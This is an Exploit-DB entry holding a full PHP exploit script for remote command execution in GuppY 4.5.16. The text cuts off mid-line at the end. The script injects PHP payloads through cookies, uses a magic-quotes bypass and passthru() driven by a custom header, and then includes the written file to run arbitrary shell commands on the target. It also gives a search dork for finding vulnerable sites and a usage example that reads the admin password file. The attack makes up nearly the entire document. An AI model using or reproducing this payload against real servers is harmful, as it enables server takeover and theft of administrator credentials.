Exploit-DB #3221
Description: GuppY 4.5.16 - Remote Command Execution
Type: webapps
Platform: php
Date: 2007-01-29
Author: rgod

Exploit:
<?php
print_r('
---------------------------------------------------------------------------
Guppy <= 4.5.16 remote commands execution exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
dork: "Site powered by GuppY" | "Site crÃĐÃĐ avec GuppY" +inurl:lng=
---------------------------------------------------------------------------
');
/*
 works regardless of php.ini settings
*/
if ($argc<4) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to guppy
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /guppy/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat ./admin/mdp.php -p81
---------------------------------------------------------------------------
');
    die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


//this shell should work with magic_quotes_gpc = off
//$shell=urlencode('";eval(base64_decode("'.base64_encode("set_time_limit(0);echo \"my_delim\";passthru(\$_SERVER[HTTP_SUNTZU]);").'"));die;//');

//but I know another method to bypaas magic quotes inside escaped strings:

$shell='$suntzu{$suntzoi{error_reporting(7)}}$suntzu{$suntzoi{set_time_limit(0)}}$suntzu{$suntzoi{print(my_delim)}}$suntzu{$suntzoi{passthru($_SERVER[HTTP_SUNTZU])}}$suntzu{$suntzoi{die()}}';
/*
our inc file becomes like this:

<?php
$err = "999";
$msg0 = "$suntzu{$suntzoi{error_reporting(0)}}$suntzu{$suntzoi{set_time_limit(0)}}$suntzu{$suntzoi{print(my_delim)}}$suntzu{$suntzoi{passthru($_SERVER[HTTP_SUNTZU])}}$suntzu{$suntzoi{die()}}";
$msg1 = "";
$msg2 = "";
$date = "Date : 29/01/2007 13:36";
$dest = "Page requested : /guppo/error.php?err=999";
$source = "Page source : ";
$browser = "Browser : ";
$addr_ip = "IP address : 192.168.1.3";
$domaine = "Domaine : GOD";
$with_mail = false;
?>

funny, isn't it? ;)
*/

//$REMOTE_ADDR injection works with register_globals = off because of an extract() (patch from previous version does not work)
//$msg[err][0] injection works with register_globals = on

//so this totally bypass php.ini settings

//I want to say that I submitted it to the programmer one year ago, but he said that I am a *bastard evil hacker* or something :D

$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"err\";\r\n\r\n";
$data.="999\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."error.php?err=999 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: REMOTE_ADDR=1.1.1.1$shell; msg[999][0]=$shell;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("error.php?id=",$html);
$temp2=explode("\n",$temp[1]);
$id=trim($temp2[0]);
echo "id -> ".$id."\n";
if ($id==""){
  if (eregi("supplied argument is not a valid stream resource",$html)){
     echo "it seems that data/ folder has no proper permissions\n";
  }
echo $html;die;
}
sleep(1);
echo "cmd -> ".$cmd."\n\n";
//arbitrary local inclusion as usual for .inc files in id argument
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"id\";\r\n\r\n";
$data.="$id\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."error.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="SUNTZU: ".trim($cmd)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("Cannot set time limit in safe mode",$html))
{
  e